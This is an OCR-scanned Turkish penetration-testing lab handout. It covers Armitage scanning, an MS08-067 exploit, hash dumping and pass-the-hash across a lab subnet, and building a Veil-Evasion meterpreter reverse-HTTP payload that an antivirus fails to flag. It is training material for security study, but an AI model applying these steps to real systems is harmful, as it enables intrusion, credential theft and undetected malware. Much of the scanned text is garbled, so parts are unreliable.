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ICINDEKILER

10. EXPLOIT POST EXPLOITATION

BU KATEGORIDEKI LAB UYGULAMA LISTESI

10.1. Armitage Kullanarak Sizma Testi
10.2. Armitage Zafiyet Istismari Sonrasi Networkte Ilerlenmesi
10.3. Antiviris Atlatma
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10.1. Armitage Kullanarak Sizma Testi

Amag: armitage araciligi ile sistemlere sizma testi girisimlerinin gergeklestiriimesi.
Kullanilan Araglar: armitage

Uygulama: armitage araciligi, guvenlik guncellestirmeleri eksik bir sisteme sizma
girisimleri gergeklegtirilecektir.

Not: Armitage programi metasploit programinin gorsel halidir. Arag hakkinda detayli bir
bilgiye asagida verilen linkten erigilebilinir.
http://www.slideshare.net/bgasecurity/szma-testlerinde-armitage-kullanm

1. Ayni agda bulunan sistemleri tespit edilmesi;

Armitage Eiewgttacka Workspaces Help

> (& auxiliary Import Hosts

» [ exploit Add Hosts...
> payload A=l S50 Intense Scan
> [ post MSF Scans...

Intense Scan + LDP
Intense Scan, all TCP ports
Intense Scan, no ping
Fing Scan
Quick Scan
Quick Scan (0S5 detect)

Comprehensive

Resimde gosterildigi Uzere Hosts -> Quick Scan (OS detect) segenekleri tiklanir.
Ekrana gelen diyalog kutusunda taranmak istenen network girilir

DMS Enumerate

Clear Database

Input

- Enter scan range (e.g., 192.168.1.0/24):
1.1.1.0/24

[ Cancel J lﬁ]

Tarama sonrasi elde edilen gorunty;
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Armitage View Hosts Attacks Workspaces Help

» auxiliary
- [ﬁ exploit
» (i payload
> [ post

Armitage

Bu asamadan sonra galisma alanina dusen hedeflere yonelik kullanilabilecek saldiri

yontemleri denenebilir.
Armitage Wiew Hosts PaeEldEl Workspaces Help

13 ﬁ' au}{”iary Find Ettaﬂkﬂ
» [EF exploit Hail Mary

1.1.1.106 1.1.1.108 1.1.1.105

Message

Attack Analysis Complete...

You will now see an 'Attack' menu attached
to each host in the Targets window.

Happy hunting!

Sirada hedef sistemlere sag tiklayip olasi saldiri gesitlerini goruntilemek kalmaktadir.

BGA Bilgi Giivenligi A.S. | www.bga.com.tr | @bgasecurity



[PENTEST LAB CALISMALARI]

*a

decerpc
. oracle -
Services samba 1.1.1.105

ipass_pipe_exec
Host

Login

msQ8_0&87_netapi
msl0_061_spoolss

netidentity xtierrpcpipe
timbuktu plughntcommand bof
pass the hash...

check exploits. ..

Ekran alintisinda gosterildigi Uzere hedef sistemde ms08_067 _netapi zafiyeti
bulunmaktadir. Segcili alan tiklandidinda bu saldiri hedef sistem igin gergeklestiricektir.
Saldirinin diyalog penceresinden gerekli dizenlemeler yapilabilir;

Attack 1.1.1.106

MS08-067 Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll 2
through the Server Service, This module is capable of bypassing NX on some operating [
svstems and service packs. The correct taraet must be used to prevent the Server LI

-

Option & | Value

LHOST 1.1.1.23 i
LPORT 11211

RHOST + 1.1.1.108

RPORT 445 g
Targets: |. 0 == Automatic Targeting vj

[¥/] Use areverse connection

[ | Show advanced options

| Launch |

Saldiri baslatildiginda ¢alisma alaninda elde edilecek goéruntu;
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1.1.1.106 1.1. 1 108 1.1.1.105
AUTHORITY\SYSTEH @ BGASECUR-YAX8N3

Kirmizi gergeve igerisine alinan hedefin ele gegirildigi gorulmektedir.
Hedef sistemde bulunan kullanici parola bilgilerinin alinmasi;

I
. =, P
T
= Logln =
1.1.] Meterpreter 1. Access
I Escalate Privileges
NT AUTHORITYY, aY'-,TE Services E
Interact Steal Token

Explore Dump Hashes > Isass method

I
igst;22n IR registry method
= Pass Session wdigest

Kill

Ekran alintisinda gosterilen alanlar secilerek ilerlenir.

Ele gecirilen parola hashleri;

meterpreter> hashdump

[*] Dumping password hashes...
[+]

[+]

[+]

[+]
[+1]

Sizilan sistemlerde daha neler yapilabilece§i hakkinda yukarida verilen dokiman
linkinden faydalanabilirsiniz.
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10.2. Armitage Zafiyet istismari Sonrasi Networkte ilerlenmesi

Amag: armitage aracinin kullanimi ile sizilan sistemden yola ¢ikarak network Uzerinde
ilerlenmeye caligiimasi

Kullanilan Araglar: armitage

Uygulama: Bir dnceki uygulamada elde edilen kullanici hash biligileri ayni networkte
denenmeye caligilacaktir;

Parola hashleri;

Administrator:500:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204be
b12283678
ASPNET:1003:5225995e8cc849b60c792b07881f9a0f:4d8a7033e90f8f598f3094202cch
7d2e
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6¢fe0d16ae931b73¢c59d7e0c08
9c0
HelpAssistant:1000:3b74ac75ea4f51e974117d499cf78088:a4ced45433474f258bbcb4f7
a9753077

Bu parola 6zetlerinden Administrator hesabi tim 1.1.1.0/24 networki igin denenecektir.
Bunun i¢cin smb_login modull aranir, gagrilir ve degerler girilir.
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Armitage View Hosts Attacks Worksnaces Heln

v (& auxiliary scanner/smb/smb_login
¥ [ scanner 1| SMB Login Check Scanner
v (& smb 4 = . . . .
This module WI“ test a SMB login on a range of ma_chmes and_repor‘t successful Iogm_s. If you have loaded a
= database plugin and connected to a database this module will record successful logins and hosts so you can
track your access,
Option A |Value
BLANK_PASSWORDS 0
BRUTEFORCE_SPEED 5
DB_ALL_CREDS false
DB_ALL_PASS 0
DB_ALL USERS 0
PASS_FILE +
PRESERVE_DOMAINS 1
Proxies
RECORD_GUEST 0
RHOSTS + 1.1.1.0/24
RPORT 445
SMBDomain
SMBPass + ccf9155e3e7db453aad3b435b51 404ee: 3dbdes97d71690a769204bebl 2283678
- SMBUser + Administrator
STOP_ON_SUCCESS 0
— THREADS 24
[ Console X [ exploit_X | me
meterpreter> hashdump [EEELENES

[*] Dumping pa
[+] Administrator
[+] ASPNET: 1003: 5

[+] Guest:501:aad3t
[+] HelpAssistant:!
SUPPORT _ 9454

USERPASS_FILE +

i | WVERBOSE 1

|| Show advanced options

| Launch |

1.1.1.110:445 SHB -

' Administrator

1.1.1.111:445 SHB -

Bu bilgiller dahilinde sistemin paylagimlarina erigilebilir ve komut satirina erisim
sysinternal psexec araci ile gergeklestirilebilir.
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10.3. Antivirus Atlatma

Amag: Zararli yazilimlarin encoding yontemi ile antivirUslerden atlatiimasi
Kullanilan Araglar: veil-evasion master, armitage
Uygulama: Hedef sistemlerde saldirilarin basarisizlikla sonuglanmasina sebep olan
onlemlerden bir tanesi de antiviris kullanimidir. Antivirusler imza tabanl olarak
calismaktadir, tanimadigi bir yazilimi ve davranisini tanimlayamadigi bir yazilimi tehdit
olarak algilamayacaktir.
1. Adim Encoding edilmis zararli yazilimin olusturulmasi
Bu is igin veil-frame work kullanilacaktir;
Veil dizinine gidilerek program c¢alistirilir;
\ root@kali:~/Veil-Evasion-master# ./Veil-Evasion.py

Elde edilmesi beklenen ekran;

Main Menu
39 payloads loaded
Available commands:

use use a specific payload

info information on a specific payload
list list available payloads

update update Veil to the latest version
clean clean out payload folders

checkvt check payload hashes vs. VirusTotal
exit exit Veil

[>] Please enter a command: I

List komutu ile tim olasi payload c¢esitleri listelenir;
\ [>] Please enter a command: list

Bu asamada bir¢ok zarali yontemi secilebilmektedir.
Burada 3. sirada bulunan ve c dilinde yazilmig ve saldirganin makinesine http ile
baglanti istegi gdnderecek olan bir payload secilecektir.

[>] Please enter a command: 3
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Veil-Evasion | [Version]: 2.16.0

Payload: c/meterpreter/rev_http loaded

Bu asamadan sonra saldirganin ip adresi ve port numarasi girilip zararl yazilimin bu
standartlarda Uretilmesi saglanmalidir.
Girilmesi gereken komutlar:

set LHOST 192.168.1.41
set LPORT 4445
generate

ilgili degisikliklerin gerceklestirildigi alanlar ve sonuclari:

Required Options:

Name Current Value Description

LHOST IP of the metasploit handler

LPORT 8080 Port of the metasploit handler
compile_to_exe Y Compile to an executable

Available commands:

set set a specific option value

info show information about the payload
generate generate payload

back go to the main menu

exit exit Vell

[>] Please enter a command: set LHOST 192.168.1.41
[>] Please enter a command: set LPORT 4445
[>] Please enter a command: generate
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Veil-Evasion | [Version]: 2.16.0

[*] Press [enter] for 'payload’
[>] Please enter the base name for output files: testme

[*] Executable written to: /usr/share/veil-output/compiled/testme.exe

Language: C

Payload: c/meterpreter/rev_http

Required Options:  LHOST=192.168.1.41 LPORT=4445 compile_to_exe=Y
Payload File: lusr/share/veil-output/source/testme.c

Handler File: lusr/share/veil-output/handlers/testme_handler.rc

[*] Your payload files have been generated, don't get caught!
['] And don't submit samples to any online scanner! ;)

Zararl yazilimin olusturulan dizini: /usr/share/veil-output/compiled/testme.exe
Zararl yazilmin kurban sistemlere bulastiriimasi igin gesitli ydntemler kullanilabilir. Bu
yontemlerden derslerde bahsedilmektedir.
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Hedef sisteme bulastirilan yazilimin, veritabani glincel olan bir antivirts ile taranma

SONucu;

©

© O O 6

m

Profilim

Kaspersky Intemet Security
Tara

Calisan tarama gorevi yok

bir dakikadan daha kisa siire Gnce

Tara dosya “testme.exe"
Tehdit algilanmad.
3 dosya tarand..

16 dakika Smce

Tara dosya "testme.exe”
Tehdit algilanmad.
3 dosya tarand.

30 dakika 6nce

Rootkit Taramasi
Tehdit algilanmadi.
3122 dosya tarand.

1 giin &nce

Rootkit Taramasi
Tehdit algilanmad.
3050 dosya tarand.

Destek  Ayarlar

Aynintih rapor

Aynintih rapor

Aynintih rapor

Aymintih rapor

Gorulduagu gibi zararh yazilim oldugu tespit edilmemistir.

Halbuki zararli yazilim ¢alistirildiginda saldirganin makinesine baglanti olusturulmakta
ve sistem saldirganin eline ge¢gmis olmaktadir.

» _ A
KASPERSKY2

Tam Tarama

Bilgisayarimizdaki tim dosyalar,
klas@rleri ve alanlan tarayin.

Hizh Tarama

Sadece kritik alanlan ve ortak
konumlan tara.

Ozel Tarama

Segili dosya, klasar ve nesneleri
tara.

Gikanlabilir Striiciilerin
Taranmasi

Bilgisayara bagh gikanlabilir
siriiciilen tara,

Gdrev Yoneticisi

Galzan tarama gorevi yok

Ayarlar ve zamanlama

Lisans: 354 gin kaldi

Not: Bu dokiiman BGA Bilgi Guvenligi A.S igin Mesut Turk tarafindan hazirlanmigtir.
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